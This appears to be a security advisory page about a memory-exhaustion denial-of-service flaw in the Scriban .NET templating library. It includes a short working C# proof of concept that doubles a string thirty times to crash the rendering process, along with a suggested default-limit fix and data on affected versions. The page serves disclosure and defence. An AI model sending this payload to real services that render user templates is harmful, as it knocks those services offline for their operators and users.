Medium

Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)

  • Disclosed: 19.03.2026
  • Updated: 11.10.2026 11:23

TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

Proof of Concept (PoC): The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

csharp
using Scriban;

string maliciousTemplate =
    @"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}

Impact: An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

Suggested Fix: Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).

csharp
public int LimitToString { get; set; } = 1048576;

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
.NET (NuGet) scriban < 6.6.0 6.6.0
.NET (NuGet) Scriban.Signed < 6.6.0 6.6.0

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-770
Platform
.NET (NuGet)
Package
scriban, Scriban.Signed
Disclosed
19.03.2026
Updated
11.10.2026 11:23

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5rpf-x9jg-8j5p - CC BY 4.0

Vulnerability history: scriban

All published vulnerabilities of this package (.NET (NuGet)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
03.2026 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 9
  • Medium 5

Disclosures per year

  1. 2026: 15
Severity:
  1. Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service) this entry
    Medium · 5.3 ghsa-5rpf-x9jg-8j5p < 6.6.0 6.6.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.